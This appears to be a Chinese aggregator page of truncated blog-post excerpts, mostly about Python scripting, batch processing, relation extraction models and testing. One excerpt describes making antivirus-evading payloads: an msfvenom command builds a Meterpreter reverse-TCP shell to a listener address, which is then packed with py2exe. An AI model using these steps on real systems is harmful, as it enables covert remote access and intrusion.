今天要介绍的就是如何通过 python 脚本实现一键压缩。...直接上代码： # -*- coding: utf-8 -*- """ 脚本功能说明：使用 tinypng， 一键批量压缩指定文件(夹)所有文件 """ import os import sys import...tinypng 进行压缩，中文前面的 u 是为了兼容 py2.7""" if not check_suffix(input_file): print(u'只支持png\\jpg\\...请先安装 tinify 的依赖库： python -m pip install tinify 2....PS：已使用 Python2.7 和 Python3.4 亲测有效，其他 Python 版本如果有异常，请反馈。
使用Python脚本进行批量造数据 目录 1、前言 2、脚本批量造数据 1、前言 针对在数据库里进行批量造数据，之前有发过一篇文章 MySQL大批量造数据，是使用存储过程的方法进行批量造数据的。...本篇将采用 Python 脚本的方式进行批量造数据。...2、脚本批量造数据 为了使 Python 可以连上数据库（MySQL），并且可以与数据库交互（增删改查等操作），则需要安装 MySQL 客户端操作库，Python2 中使用 MySQLdb，Python3...作者使用环境为 Python3.8，则安装 PyMySQL 即可。...命令行安装命令： pip install pymysql 1、首先要脚本需求的定义： 连接数据库，往指定的表里批量造数据，要求 id 为递增，数据造完后，将所有的 id 收集在一起，为后续使用。
背景叨叨叨 最近笔者在项目中做技能模块的时候，用到外包给的一系列技能图标，但发现外包给到的图标分辨率、尺寸不一致，所以想到之前学校里，软件设计与交互课上有提到PS可以将一系列动作操作记录下来从而实现批量编辑...这时候可以在动作工作栏中动作1的子菜单向看到图像大小，说明我们对图片的图像大小进行了调整。 ? 然后调整画布大小至160 * 160，按住快捷键Ctrl + Alt + c，弹出 ?...批量处理 完成动作的录制后，笔者接下来带大家进行批量操作。在PS的菜单栏中点击文件—自动—批处理，弹出一个批处理操作面板，依次完成如下操作可实现批量操作： ?...选择之前录制的动作——动作1 选择需要处理的图片来源的文件夹，也就是本文开头已经放置好图片素材的文件夹 选择导出的文件夹 勾选覆盖动作中“存储为”命令 完成上述操作后，单击确定按钮即可实现批量操作。...批量处理的时间根据文件的数量可长可短，读者们耐心等待即可。 创建快捷批处理 为了方便后续同样的批处理操作，可以通过创建快捷批处理导出一个exe格式的可执行文件。
本文首先介绍一种基于预训练模型的关系抽取方法，即能够引入现今最有效的预训练模型BERT，来进行关系分类的方法。 1 预训练模型 预训练模型是近一两年来NLP领域取得的非常重要的进展。...基于大型的预训练模型finetune下游任务，是如今NLP领域非常流行的做法，在很多的NLP任务中都取得了SOTA的效果，我们在此前也写了很多的文章进行介绍，感兴趣的读者可以看看 既然预训练模型这么有效...，自然会有用它来做关系抽取和分类的了，我们今天就介绍基于BERT的关系抽取模型。...引入BERT进行关系分类，主要目的是为了利用BERT预训练时学到的大量语言本身的知识。...对于实体抽取模块，跟此前我们介绍的基于BERT的实体抽取模型没有差别，不了解的同学可以出门左转先看一下： 【NLP-NER】如何使用BERT来做命名实体识别 RE模块相对复杂一点，我们详细介绍一下， RE
我们可以利用Python编程语言来实现批量下载图片的功能。Python是一种简单易学、功能强大、跨平台的编程语言，它有很多优秀的第三方库和模块，可以帮助我们处理各种网络请求和数据处理。...我们可以使用range函数来生成子任务索引，并使用map函数或for循环将索引传递给线程或进程对象。...ProxyHandler对象作为参数 opener = urllib.request.build_opener(proxy_handler) # 定义一个函数，接受一个索引参数，并根据索引选择对应的图片URL和文件名进行下载...# 将Thread对象添加到threads列表中，并调用start方法启动线程 threads.append(thread) thread.start() 以上就是如何使用...Python批量下载图片。
进行测试： package com.gong.mybatis.test; import java.io.IOException; import java.io.InputStream; import..., dept=null] Employee [id=6, lastName=timo, gender=0, email=timo@qq.com, dept=null] 第二种方式需要在配置连接数据源时使用
当我们要批量读取多个文件所有内容，并把所有行打印出来时，我们可能会这样写代码： file_list = ['1.txt', '2.txt', '3.txt']for path in file_list:...Python 自带一个更好用的模块：fileinput。...如果要使用 fileinput读取列表中的多个文件，那么可以这样写代码： import fileinputfile_list = ['1.txt', '2.txt', '3.txt']with fileinput.input...然后使用如下命令运行： python3 read.py 1.txt 2.txt 3.txt 运行效果如下图所示： ? 自动把参数对应的文件都读入并打印了出来。这里的参数可以有任意多个。
以 gis 表为例： drop table gis; create table gis(id number not null, pos st_geometry not null); 使用如下的 java...代码片断，可以向 gis 表中插入 POINT 类型的 gis 数据： conn.setAutoCommit(false); PreparedStatement ps = conn.prepareStatement
本文摘要自Web Scraping with Python – 2015 书籍下载地址：https：//bitbucket.org/xurongzhong/python-chinese-library/...基础教程： http：//www.diveintopython.net HTML和JavaScript基础： http：//www.w3schools.com web抓取简介 为什么要进行web抓取？...抓取的数据，个人使用不违法，商业用途或重新发布则需要考虑授权，另外需要注意礼节。根据国外已经判决的案例，一般来说位置和电话可以重新发布，但是原创数据不允许重新发布。...2 :before p:before 在每个元素的内容之前插入内容。 2 :after p:after 在每个元素的内容之后插入内容。...推荐使用基于Linux的lxml，在同一网页多次分析的情况优势更为明显。
一、插入批处理命令 1. 导入os模块 import os 2.
本文介绍一种基于循环神经网络的关系抽取方法。...作者&编辑 | 小Dream哥 1 导论 因为基于统计的关系抽取方法需要复杂的特征过程，基于深度学习的方法得以引入，最早的应用在关系抽取中的深度学习模型是CNN，上一篇我们介绍了一种较早的用于关系抽取的...2) 双向RNN层 采用双向RNN层进行特征抽取，这里的双向RNN是最朴素的RNN模型，通过双向RNN建模输入序列的语义特征。循环神经网络是NLP中最基本的概念，这里就不再赘述了。...输入序列经过双向RNN层的特征抽取之后，得到一个输出序列[h1,h2,h3,...ht]，那么如何利用这些特征，得到一个句向量，来表征输入序列呢？...前面介绍的都是关系分类模型，下一篇介绍一种一个模型就能够抽取出来实体和关系的联合模型。 下期预告：一种端到端的关系抽取模型
事物、概念之间的关系是人类知识中非常重要的一个部分，但是他们通常隐藏在海量的非结构文本中。为了从文本中抽取这些关系事实，从早期的模式匹配到近年的神经网络，大量的研究在多年前就已经展开。...本文首先介绍一种基于卷积神经网络的关系抽取方法。 作者&编辑 | 小Dream哥 1 导论 在引入深度学习之前，在NLP领域，关系抽取最优的方法是基于机器学习的方法。...机器学习的方法依赖手动提取特征，手动提取的特征通常依赖于其他的NLP系统（一些NLP工具），这些工具不免会带入错误，这些错误就会在关系抽取的任务中进行传播。...因此，基于机器学习的关系抽取方法代价大且效果不佳。这里介绍一种比较早的应用深度卷积神经网络进行关系抽取的方法，由神经网络进行特征抽取，避免了手动的特征提取，实现了端到端的关系抽取。...词向量虽然能够一点程度的表征词语之间的关系及相似度，但是在关系抽取任务中，通常需要在当前语境的关系下学习两个词之间的关系。
本文将详细介绍数据清洗的概念、常见的数据质量问题以及如何使用Python进行数据清洗。图片1. 数据清洗概述数据清洗是数据预处理的重要环节，它包括数据收集、数据整理、数据转换等步骤。...在清洗过程中，可能需要对数据进行重新排列、合并或者拆分，以适应后续的分析需求。3. 使用Python进行数据清洗Python提供了丰富的开源库和工具，便于进行数据清洗。...使用这些Python库，可以进行数据清洗的各个方面的操作。...下面是一个简单例子，展示如何使用Pandas进行数据清洗：import pandas as pd# 读取数据data = pd.read_csv('data.csv')# 处理缺失值data.dropna...本文介绍了数据清洗的概念、常见的数据质量问题以及使用Python进行数据清洗的方法。通过合理运用Python的数据分析库，可以高效、方便地进行数据清洗工作。
打造免杀的payload成了一个很重要的话题，在这里，本文将介绍如何使用Pyhton轻松绕过防病毒软件。...0x01 环境准备 1、软件安装 Python 2.7.16 x86：https://www.python.org/ftp/python/2.7.16/python-2.7.16.msiPy2exe 32...sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download 2、msfvenom生成Python...Payload msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www...python ./setup.py py2exe ?
我使用c++、c#和Javascript。我是一个开发团队的一员，他们使用单元测试来验证我们的代码是否按照它应该的方式工作。 在本文中，我将通过讨论以下主题来研究如何使用Python创建单元测试。...Python的标准测试运行器可以使用以下命令在终端上运行。 python -m unittest test_fizzbuzz.py ? 测试套件 单元测试词汇表的最后一个术语是测试套件。...我总是尝试使用单个断言。 原因是，当断言失败时，测试用例的执行就会停止。因此，您永远不会知道测试用例中的下一个断言是否成功。 使用pytest进行单元测试 在上一节中，我们使用了unittest模块。...因为pytest不在默认的Python安装中，所以我们使用Python的包安装程序PIP来安装它。通过在终端中执行以下命令，可以安装pytest。...最后，您可以使用标准的Python assert方法来代替自定义的方法。 测试装置 您还记得，单元测试模块使用setUp和tearDown来配置和构建测试中的单元。
前言： Environment： python = 3.9.0 netmiko = 4.1.0 （pip install netmiko） pyyaml = 6.0 （pip install pyyaml...) 文件内容 为方便以后管理，使用YAML文件作为设备库（也可以使用json，但YAML更直观：）。...输出效果 $ python main.py ERROR: [SW01] connect timeout!
前言 在开发应用程序时我们往往会需要把变量进行字符串格式化，也就是说把字符串中的变量替换成变量值。...事实上，在Python 中有许多方式可以进行，其中最常见的有四种方式（有三种，但Python 字符串格式化方式竟然有四种！）...以下就上述提到的四种方法来各自说明其特色和使用方式： 旧式字符串格式化（%） 相对于Python版本之后推荐使用的新式字符串格式化，旧式版本使用%运算子来进行字符串格式化，若是有C语言编写经验的读者或许会觉得的似曾相似...（一般来说使用者的输入都是不可信的，要进行过滤）。...一般情况我们会根据不同Python 版本和使用情境去使用不同字符串格式化方式，例如：若是使用Python 3.6 之后的话建议可以使用字符串插值，若版本比3.6 旧，则使用新式字符串格式化（format
如果在 Windows 上使用 Python 进行web 开发, 则建议为开发环境设置其他设置。...有关帮助, 请参阅:开始在 Windows 上使用 Python 进行 web 开发。...如果你有兴趣自动执行操作系统上的常见任务, 请参阅以下指南:开始在 Windows 上使用 Python 进行脚本编写和自动化。...安装 Git (可选) 如果你计划在 Python 代码上与其他人进行协作, 或在开源站点 (例如 GitHub) 上托管你的项目, VS Code 支持使用 Git 进行版本控制。...使用 Python 与 VS Code Hello World 教程 VS Code 团队已结合了有关 Python 的精彩入门教程, 介绍如何使用 python 创建 Hello World 程序、运行程序文件
Python如何使用Spacy进行分词 说明 1、Spacy语言模型包含一些强大的文本分析功能，如词性标记和命名实体识别。 2、导入spacy相关模块后，需要加载中文处理包。...join(qc_stopwords) f1.write(result2) end1 = time.time() return end1-start1 以上就是Python...使用Spacy进行分词的方法，希望对大家有所帮助。
今天的内容来介绍 Python 中进行文件读写操作的方法，这在学习 Python 时是必不可少的技术点，希望可以帮助到正在学习 python的小伙伴。...以下是 Python 中进行文件读写操作的基本方法：**一、文件读取**：```python# 打开文件with open('example.txt', 'r') as file: # 读取文件的全部内容...**三、文件追加**：```python# 打开文件进行追加with open('output.txt', 'a') as file: # 追加内容 file.write("\nThis is...**八、使用 `pickle` 模块进行对象序列化和反序列化**：```pythonimport pickle# 序列化对象data = {'name': 'John', 'age': 30, 'city...以上是 Python 中进行文件读写操作的常用方法，你可以根据不同的文件类型和使用场景，选择合适的方法进行操作。
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